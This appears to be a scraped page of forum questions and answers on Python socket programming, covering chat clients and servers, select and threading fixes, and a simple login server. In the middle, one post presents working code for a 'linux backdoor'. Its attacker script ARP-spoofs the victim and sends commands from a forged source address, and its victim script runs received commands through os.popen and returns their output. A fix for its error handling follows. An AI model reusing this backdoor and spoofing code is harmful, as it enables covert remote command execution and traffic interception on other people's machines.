Im making a messaging thing with sockets.
One problem I am having is that you need input to get the users message
for example
user >> hello
user2 >> hi
you >>
how would you receive a message while having an input and display it above the input.
so if you received a message it would be:
user >> hello
user2 >> hi
user 1 >> nice to meet you
you >>
This is the code i have so far:
import socket
import select
import errno
import sys
HEADER_LENGTH = 10
IP = "127.0.0.1"
PORT = 1234
my_username = input('Username: ')
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((IP,PORT))
client_socket.setblocking(False)
username = my_username.encode("utf-8")
username_header = f"{len(username):<{HEADER_LENGTH}}".encode("utf-8")
client_socket.send(username_header + username)
def send_message():
message = input(f"{my_username} > ")
if message:
message = message.encode("utf-8")
message_header = f"{len(message):<{HEADER_LENGTH}}".encode("utf-8")
client_socket.send(message_header + message)
def receive_message():
try:
while True:
#receive things
username_header = client_socket.recv(HEADER_LENGTH)
if not len(username_header):
print("connection closed by the server")
sys.exit()
username_length = int(username_header.decode("utf-8"))
username = client_socket.recv(username_length).decode("utf-8")
message_header = client_socket.recv(HEADER_LENGTH)
message_length = int(message_header.decode("utf-8"))
message = client_socket.recv(message_length).decode("utf-8")
print(f"{username} > {message}")
except IOError as E:
if E.errno != errno.EAGAIN and E.errno != errno.EWOULDBLOCK:
print('Reading error',str(e))
sys.exit()
except Exception as e:
print('General Error ',str(e))
sys.exit()
running = True
while running:
send_message()
receive_message()
Related
I am trying to build a console chat app on Python socket. I currently running into some issues regarding the server sending message to the client. I managed to successfully send the request from the client to the server and printed it out. However, when I try to sent the confirmation message back to the client, there were always problems that I couldn't quite understand.
Here is my client side:
import socket
import select
import errno
import sys, struct
HEADER_LENGTH = 1024
IP = "127.0.0.1"
PORT = 9669
ProtoHeader = struct.Struct("!HI")
LoginRequest = 1
MessageRequest = 2
ConversationRequest = 3
def format_login_request(username):
username_bytes = username.encode()
proto_block = ProtoHeader.pack(LoginRequest, len(username_bytes)) + username_bytes
return proto_block
def format_send_message(recv_id, message):
message_bytes = message.encode()
recv_id = recv_id.encode()
proto_block = ProtoHeader.pack(MessageRequest, len(message_bytes)+len(recv_id)) + recv_id+message_bytes
return proto_block
def format_con_request(conv_id):
recv_id_bytes = recv_id.encode()
proto_block = ProtoHeader.pack(ConversationRequest, len(recv_id_bytes)) + recv_id_bytes
return proto_block
# Create a socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to a given ip and port
client_socket.connect((IP, PORT))
client_socket.setblocking(False)
my_username = input("Username: ")
print(format_login_request(my_username))
client_socket.sendall(format_login_request(my_username))
username_conf = client_socket.recv(HEADER_LENGTH).decode()
print(username_conf)
if username_conf == "Welcome to the server":
con_id = input("Please enter conversation's id, if don't have one, please enter no ")
if con_id == 'no':
client_socket.send(format_con_request(con_id))
else:
client_socket.send(format_con_request(con_id))
conversation = client_socket.recv(HEADER_LENGTH).decode()
recv_id = input("Please enter receiver's id")
while True:
# Wait for user to input a message
message = input(f'{my_username} > ')
# If message is not empty - send it
if message:
# send_message = send_message(recv_id,message)
client_socket.sendall(format_send_message(recv_id,message))
try:
while True:
message_receiver = client_socket.recv(HEADER_LENGTH).decode()
x = message_receiver.split('|')
print(x)
username = x[0]
message = x[1]
# Print message
print(f'{username} > {message}')
except IOError as e:
if e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK:
print('Reading error: {}'.format(str(e)))
sys.exit()
# We just did not receive anything
continue
except Exception as e:
# Any other exception - something happened, exit
print('Reading error: {}'.format(str(e)))
sys.exit()
Here is the console terminal for client:
Username: user1
b'\x00\x01\x00\x00\x00\x05user1'
Traceback (most recent call last):
File "C:\Users\Duong Dang\Desktop\bai 2.3\client.py", line 57, in <module>
username_conf = client_socket.recv(HEADER_LENGTH).decode()
BlockingIOError: [WinError 10035] A non-blocking socket operation could not be completed immediately
Here is my server side:
import socket
import select
import struct
import sys
import pickle
ProtoHeader = struct.Struct("!HI")
LoginRequest = 1
MessageRequest = 2
ConversationRequest = 3
HEADER_LENGTH = 1024
conversation ={}
users = [
{
'username': 'user1',
'user_id': 1
},
{
'username': 'user2',
'user_id': 2
},
{
'username': 'user3',
'user_id': 3
},
{
'username': 'user4',
'user_id': 4
},
{
'username': 'user5',
'user_id': 5
}
]
def login(username):
for user in users:
if user['username'] == username:
return user
else:
return False
IP = "127.0.0.1"
PORT = 9669
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((IP, PORT))
server_socket.listen()
# List of sockets for select.select()
sockets_list = [server_socket]
# List of connected clients - socket as a key, user header and name as data
clients_socket = {}
sessions = {}
conversation = {
(1,2) : '1.txt',
(3,4) : '2.txt'
}
def getRecvSocket(user_id):
try:
return sessions[user_id]
except:
return None
# def sendErrorMes(socketid, mes):
# package = [9]
# length = len(mes)
# if length > 1019:
# length = 1019
# package += struct.pack("I", length)
# package += mes
# package = pad(package)
print(f'Listening for connections on {IP}:{PORT}...')
def receive_bytes(conn, count):
""" General purpose receiveer:
Receive exactly #count bytes from #conn"""
buf = b''
remaining = count
while remaining > 0:
#Receive part of all of data
tbuf = conn.recv(remaining)
tbuf_len = len(tbuf)
if tbuf_len == 0:
#return 0 if buf is empty and allow the higher-level routine to determine
#if the EOF is at a proper message boundary in which case, you silently close
#the connection. You would normally only raise an exception if you EOF in the
#middle of the message.
raise RuntimeError("end of file")
buf += tbuf
remaining -= tbuf_len
return buf
def receive_proto_block(conn):
"""Receive the next protocol block from #conn. Return a tuple of request_type(interger)
and payload (byte string) """
proto_header = receive_bytes(conn, ProtoHeader.size)
request_type, payload_length = ProtoHeader.unpack(proto_header)
payload = receive_bytes(conn, payload_length)
return request_type, payload
while True:
read_sockets, _, exception_sockets = select.select(sockets_list, [], sockets_list)
# Iterate over notified sockets
for notified_socket in read_sockets:
# If notified socket is a server socket - new connection, accept it
if notified_socket == server_socket:
client_socket, client_address = server_socket.accept()
sockets_list.append(client_socket)
else:
# Receive message
request_type, payload = receive_proto_block(notified_socket)
print(request_type)
print(payload.decode())
if request_type == LoginRequest:
username = payload.decode()
print(username)
user = login(username)
if user == False:
notified_socket.send("no user found".encode())
else:
sessions[user["user_id"]] = notified_socket
print(sessions)
notified_socket.send(("Welcome to the server").encode())
elif request_type == 2:
recv_package = payload.decode()
recv_id = recv_package[0]
print(message)
# if getRecvSocket(recv_id) == None:
# sendErrorMes(notified_socket, "User is offline")
message = recv_package[1]
for socket in sessions.values():
if socket == notified_socket:
user = sessions[notified_socket]
# fIterate over connected clients and broadcast message
for client_socket in clients_socket:
# if clients[client_socket] == receive_user and client_socket != notified_socket:
# But don't sent it to sender
if client_socket != notified_socket and clients_socket[client_socket] == recv_id:
# Send user and message (both with their headers)
# We are reusing here message header sent by sender, and saved username header send by user when he connected
a = sessions[notified_socket]
b = recv_id
with open(f"{conversation[a,b]}.txt", "w"):
f.write(user + message)
client_socket.send((user + "|" + message).encode())
if message is False:
# print('Closed connection from: {}'.format(user))
# Remove from list for socket.socket()
sockets_list.remove(notified_socket)
# Remove from our list of users
del clients_socket[notified_socket]
continue
elif request_type == 3:
convo_id = payload.decode()
if convo_id in conversation:
with open(conversation[convo_id], 'rb') as file_to_send:
for data in file_to_send:
notified_socket.sendall(data)
print('send successful')
else:
f = open(f"{len(conversation)+1}.txt", "w+")
and here is the console terminal for the server:
Listening for connections on 127.0.0.1:9669...
1
user1
user1
{1: <socket.socket fd=432, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 9669), raddr=('127.0.0.1', 52919)>}
Traceback (most recent call last):
File "c:/Users/Duong Dang/Desktop/bai 2.3/server.py", line 137, in <module>
request_type, payload = receive_proto_block(notified_socket)
File "c:/Users/Duong Dang/Desktop/bai 2.3/server.py", line 115, in receive_proto_block
proto_header = receive_bytes(conn, ProtoHeader.size)
File "c:/Users/Duong Dang/Desktop/bai 2.3/server.py", line 97, in receive_bytes
tbuf = conn.recv(remaining)
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
Thanks for the help.
So i'm also including the server side of the code, but the issues in the client side. It's a simple TCP client socket code.The thing is that in line 21, after the first while loop (i've also commented in the code to where i'm referring to), i'm asking for user input.
What then happens is that when more user connects, the chat screen of any user doesn't gets updated unless they press enter, as you can see, it only continues after an input is given to the 'message' variable.
Now i do know that threading need to be done in here, but i've not really got enough knowledge related to that. So if someone could kindly guide me or help me modify the code so that the chat gets updated without the need to enter.
Cient Code (Issue in line 21, after first while loop...commented)
from socket import *
import select
import errno
import sys
header_length = 10
ip = "127.0.0.1"
port = 1234
my_username = input("Username: ")
client_socket = socket(AF_INET, SOCK_STREAM)
client_socket.connect((ip, port))
client_socket.setblocking(False)
username = my_username.encode()
username_header = f"{len(username):<{header_length}}".encode()
client_socket.send(username_header + username)
while True:
#Where my issue is
message = input(f"{my_username} > ")
if message:
message = message.encode()
message_header = f"{len(message):<{header_length}}".encode()
client_socket.send(message_header + message)
try:
while True:
#receive messages
username_header = client_socket.recv(header_length)
if not len(username_header):
print("Connection closed by the server...")
sys.exit()
username_length = int(username_header.decode().strip())
username = client_socket.recv(username_length).decode()
message_header = client_socket.recv(header_length)
message_length = int(message_header.decode().strip())
message = client_socket.recv(message_length).decode()
print(f"{username} > {message}")
except IOError as e:
if e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK:
print("Reading error: ", str(e))
sys.exit()
continue
except Exception as e:
print("General error: ", str(e))
sys.exit()
Server Code (Just if someone need):
from socket import *
import select
header_length = 10
ip = "127.0.0.1"
port = 1234
server_socket = socket(AF_INET, SOCK_STREAM)
server_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
server_socket.bind((ip, port))
server_socket.listen()
socket_list = [server_socket]
clients = {}
#Handles message receiving
def recieve_message(client_socket):
try:
message_header = client_socket.recv(header_length)
if not len(message_header):
return False
message_length = int(message_header.decode().strip())
return {'header': message_header, 'data': client_socket.recv(message_length)}
except:
return False
print(f'Listening for connections on {ip}:{port}...')
while True:
read_sockets, _, exception_sockets = select.select(socket_list, [], socket_list)
for notified_socket in read_sockets:
if notified_socket == server_socket:
client_socket, client_address = server_socket.accept()
user = recieve_message(client_socket)
if user is False:
continue
socket_list.append(client_socket)
clients[client_socket] = user
print(f"Accepted new connection from {client_address[0]}:{client_address[1]} username:{user['data'].decode()}")
else:
message = recieve_message(notified_socket)
if message is False:
print(f"Closed connection from {clients[notified_socket]['data'].decode()}")
socket_list.remove(notified_socket)
del clients[notified_socket]
continue
user = clients[notified_socket]
print(f"Recieved messasge from {user['data'].decode()}: {message['data'].decode()}")
for client_socket in clients:
if client_socket != notified_socket:
client_socket.send(user['header'] + user['data'] + message['header'] + message['data'])
for notified_socket in exception_sockets:
socket_list.remove(notified_socket)
del clients[notified_socket]
I've also included the image...as you can see as i typed hello in cliend 1's window, client 2's doesnt show it. And it will not until i input something and press enter
Thanks a lot :)
Why do you not use select.select for the client as you do for the server?
It works perfectly.
Linux version
from socket import *
import select
import errno
import sys
def prompt(username):
sys.stdout.write(f"{username} > ")
sys.stdout.flush()
header_length = 10
ip = "127.0.0.1"
port = 1234
my_username = input("Username: ")
client_socket = socket(AF_INET, SOCK_STREAM)
client_socket.connect((ip, port))
client_socket.setblocking(False)
username = my_username.encode()
username_header = f"{len(username):<{header_length}}".encode()
client_socket.send(username_header + username)
while True:
socket_list = [sys.stdin, client_socket]
prompt(my_username)
read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])
for socket in read_sockets:
try:
if socket == sys.stdin:
message = sys.stdin.readline()
message = message.encode()
message_header = f"{len(message):<{header_length}}".encode()
client_socket.send(message_header + message)
elif socket == client_socket:
username_header = client_socket.recv(header_length)
if not len(username_header):
print("Connection closed by the server...")
sys.exit()
username_length = int(username_header.decode().strip())
username = client_socket.recv(username_length).decode()
message_header = client_socket.recv(header_length)
message_length = int(message_header.decode().strip())
message = client_socket.recv(message_length).decode()
print(f"\n{username} > {message}")
except IOError as e:
if e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK:
print("Reading error: ", str(e))
sys.exit()
continue
except Exception as e:
print("General error: ", str(e))
sys.exit()
Windows/Linux version (because of select restriction)
Note:
File objects on Windows are not acceptable, but sockets are. On Windows, the
underlying select() function is provided by the WinSock library, and does not
handle file descriptors that don’t originate from WinSock.
import threading
from socket import *
import select
import errno
import sys
def prompt(username):
sys.stdout.write(f"{username} > ")
sys.stdout.flush()
def redirect_sdtin(dest):
for ln in sys.stdin:
dest.send(ln.encode())
header_length = 10
ip = "127.0.0.1"
port = 1234
my_username = input("Username: ")
stdin_in, stdin_out = socketpair()
threading.Thread(target=redirect_sdtin, args=(stdin_in,), daemon=True).start()
client_socket = socket(AF_INET, SOCK_STREAM)
client_socket.connect((ip, port))
client_socket.setblocking(False)
username = my_username.encode()
username_header = f"{len(username):<{header_length}}".encode()
client_socket.send(username_header + username)
while True:
socket_list = [stdin_out, client_socket]
prompt(my_username)
read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])
for socket in read_sockets:
try:
if socket == stdin_out:
message = stdin_out.recv(1024)
message_header = f"{len(message):<{header_length}}".encode()
client_socket.send(message_header + message)
elif socket == client_socket:
username_header = client_socket.recv(header_length)
if not len(username_header):
print("Connection closed by the server...")
sys.exit()
username_length = int(username_header.decode().strip())
username = client_socket.recv(username_length).decode()
message_header = client_socket.recv(header_length)
message_length = int(message_header.decode().strip())
message = client_socket.recv(message_length).decode()
print(f"\n{username} > {message}")
except IOError as e:
if e.errno != errno.EAGAIN and e.errno != errno.EWOULDBLOCK:
print("Reading error: ", str(e))
sys.exit()
continue
except Exception as e:
print("General error: ", str(e))
sys.exit()
i'm creating a reverse shell for a linux backdoor for fun, and I got it working to a point. Most commands work like "cd", "ifconfig", and "ls". But commands like "cp" and "rm" work on the victim computer, but I don't get any output on my side (the attacker), I get this error when I try to "rm" or "cp":
Can you guys help me try and handle this? I know cp doesn't actually output anything, and my program expects an output. Even though I get this error on my end, when I look at the victim I can still see the action (cp, or rm) go through. Another alternative is whenever I get this error, I can get my program to just prompt for a command again.
Any help would be sick!
Attacker code:
import sys
import socket
import threading
import time
from logging import getLogger, ERROR
from scapy.all import *
getLogger('scapy.runtime').setLevel(ERROR)
try:
victimIP = raw_input('Enter victim IP: ')
spoofIP = raw_input('Enter IP you want to spoof: ')
IF = raw_input('Enter network interface: ')
except KeyboardInterrupt:
print '[!] User Interrupted Input'
sys.exit(1)
conf.verb = 0
def getMAC():
try:
pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
except Exception:
print '[!] Failed to Resolve Victim MAC Address'
sys.exit(1)
for snd, rcv in pkt[0]:
return rcv.sprintf(r"%Ether.src%")
print '\n[*] Resolving Victim MAC Address... '
victimMAC = getMAC()
spoofStatus = True
def poison():
while 1:
if spoofStatus == False:
break
return
send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
time.sleep(5)
print '\n[*] Starting Spoofer Thread...'
thread = []
try:
poisonerThread = threading.Thread(target=poison)
thread.append(poisonerThread)
poisonerThread.start()
print '[*] Thread Started Successfully\n'
except Exception:
print '[!] Failed to Start Thread'
sys.exit(1)
print 'Initializing connection with victim...'
pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='hello victim'))
pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load='report'))
prompt = pkt2.getlayer(Raw).load
print 'Initialization Complete'
print '[*] Enter "goodbye" to Stop Connection\n'
while 1:
command = raw_input(prompt)
sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=77, dport=77)/Raw(load=command))
output = sendcom.getlayer(Raw).load
if command.strip() == 'goodbye':
print '\nGrabbing Threads...'
spoofStatus = False
poisonerThread.join()
sys.exit(1)
print output
Victim code:
import socket
import os
import sys
import platform
def launch():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('', 77))
launch = s.recvfrom(1024)
addr = launch[1][0]
port = launch[1][1]
s.sendto('hello paul', (addr, port))
return s, addr, port
s, addr, port = launch()
def getsysinfo():
que = s.recvfrom(1024)
prompt = []
if que[1][0] == addr and que[1][1] == port:
if os.getuid() == 0:
prompt.append('root#')
prompt.append('# ')
else:
prompt.append('user#')
prompt.append('$ ')
prompt.insert(1, platform.dist()[0])
s.sendto(''.join(prompt), (addr, port))
return
getsysinfo()
def shell():
while 1:
try:
command = s.recv(1024)
if command.strip().split()[0] == 'cd':
os.chdir(command.strip('cd '))
s.sendto('Changed Directory', (addr, port))
elif command.strip() == 'goodbye':
s.sendto('Goodbye paul', (addr, port))
s.close()
break
else:
proc = os.popen(command)
output = ''
for i in proc.readlines():
output += i
output = output.strip()
s.sendto(output, (addr, port))
except Exception:
s.sendto('An unexpected error has occured', (addr, port))
pass
shell()
I fixed it by adding this bit of code:
try:
output = sendcom.getlayer(Raw).load
except AttributeError:
continue
I am trying to code a server with the following code. It is threaded and all I need help with is this error.
Unhandled exception in thread started by <function threaded_client at 0x0000000003302158>
line 28, in threaded_client
data = conn.recv(2048)
OSError: [WinError 10038] An operation was attempted on something that is not a socket
This error I cannot solve and have tried to solve. I would really like to know how to fix it.
import socket
import sys
from _thread import *
import time
host = ''
port = 5555
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((host,port))
except socket.error as e:
print(str(e))
s.listen(5)
print("Waiting for a Connection...")
def threaded_client(conn):
conn.send(str.encode("Welcome, please write to the server.\r\n"))
userinput = ""
while True:
data = conn.recv(2048)
data = data.decode('utf-8')
if not data:
break
#data = data.decode('utf-8')
#Gather up the Input
if data == '\r\n':
userinput += data
#Do something with it
else:
reply = 'Server output: ' + userinput
conn.sendall(str.encode(reply))
userinput = ""
conn.close()
while True:
conn, addr = s.accept()
print("connected to: " +addr[0] + ': ' + str(addr[1]))
start_new_thread(threaded_client, (conn,))
Now I am having an issue with how the server interacts with the client. Image of my CMD window open bellow. Please provide code to fix.
For windows 8, please.
Check this part.
else:
reply = 'Server output: ' + userinput
conn.sendall(str.encode(reply))
userinput = ""
conn.close() #<--- here you are closing the connection
This should be outside the loop. Something like this.
while True:
data = conn.recv(2048)
data = data.decode('utf-8')
if not data:
break
#data = data.decode('utf-8')
#Gather up the Input
if data == '\r\n':
userinput += data
#Do something with it
else:
reply = 'Server output: ' + userinput
conn.sendall(str.encode(reply))
userinput = ""
conn.close() #<--- Notice the indent
How can i make it so when someone connects to port 8080 they see the login screen and password instead of a client joining, for example i opened putty up and i clicked protocol "RAW" i put the I.P of 208.67.1.1 <- example I.P and port 8080 nothing shows but i don't get a connection refused.
Here's my code:
import sys
import time
from socket import *
sock = socket(AF_INET, SOCK_STREAM)
USER = "Haze"
PASS = "Myinternet202"
HOST = "0.0.0.0"
PORT = 8080
sock.bind((HOST, PORT))
sock.listen(1)
nickname = raw_input("Nickname: ")
if nickname == "%s" % (USER):
credentialsU = True
else:
credentialsU = False
if credentialsU == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
password = raw_input("Password: ")
if password == "%s" % (PASS):
credentialsP = True
else:
credentialsP = False
if credentialsP == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
if credentialsU == True and credentialsP == True:
while True:
main = raw_input("> ")
logs = open("logs.txt", "a")
logs.write("" + nickname + " -> " + main + "\r\n")
logs.close()